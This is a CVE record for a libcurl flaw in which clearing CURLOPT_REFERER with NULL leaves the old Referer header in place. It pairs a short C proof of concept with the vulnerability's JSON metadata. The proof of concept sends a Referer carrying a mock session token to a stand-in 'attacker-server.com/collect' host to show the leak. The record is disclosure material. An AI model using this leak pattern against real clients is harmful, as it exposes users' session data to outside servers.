CVE-2026-9546

#include <stdio.h> #include <curl/curl.h> // PoC for CVE-2026-9546: libcurl CURLOPT_REFERER clearing failure // This demonstrates that setting CURLOPT_REFERER to NULL fails to clear // the internal Referer state, causing it to persist in subsequent requests. int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // First request: set a sensitive Referer header curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/first-request"); curl_easy_setopt(curl, CURLOPT_REFERER, "https://internal-server.com/admin/session=ABC123SECRET"); // Perform first request - Referer is sent as expected res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // Attempt to clear the Referer header by setting it to NULL // According to documentation, this should suppress the Referer header curl_easy_setopt(curl, CURLOPT_REFERER, NULL); // Change URL to a different server (simulating attacker-controlled destination) curl_easy_setopt(curl, CURLOPT_URL, "https://attacker-server.com/collect"); // Perform second request // BUG: The Referer header from the first request is STILL sent // despite explicitly being cleared with NULL res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } // The attacker server would receive: // Referer: https://internal-server.com/admin/session=ABC123SECRET // This leaks sensitive information to an unintended server curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

{"cve": {"id": "CVE-2026-9546", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-07-03T07:16:25.893", "lastModified": "2026-07-06T18:20:47.007", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in libcurl caused the HTTP `Referer:` header to persist even\nwhen explicitly cleared. While the documentation states that passing NULL to\n`CURLOPT_REFERER` suppresses the header, the option failed to clear the\ninternal state. As a result the previous referrer string was erroneously\nreused and sent in subsequent requests, potentially leaking sensitive\ninformation to unintended servers."}], "affected": [{"source": "2499f714-1537-4658-8207-48ae4bb9eae9", "affectedData": [{"vendor": "curl", "product": "curl", "defaultStatus": "unaffected", "versions": [{"version": "8.20.0", "lessThanOrEqual": "8.20.0", "versionType": "semver", "status": "affected"}, {"version": "8.19.0", "lessThanOrEqual": "8.19.0", "versionType": "semver", "status": "affected"}, {"version": "8.18.0", "lessThanOrEqual": "8.18.0", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-06T16:51:06.094113Z", "id": "CVE-2026-9546", "options": [{"exploitation": "poc"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://curl.se/docs/CVE-2026-9546.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9"}, {"url": "https://curl.se/docs/CVE-2026-9546.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9"}, {"url": "https://hackerone.com/reports/3754343", "source": "2499f714-1537-4658-8207-48ae4bb9eae9"}, {"url": "https://hackerone.com/reports/3754343", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}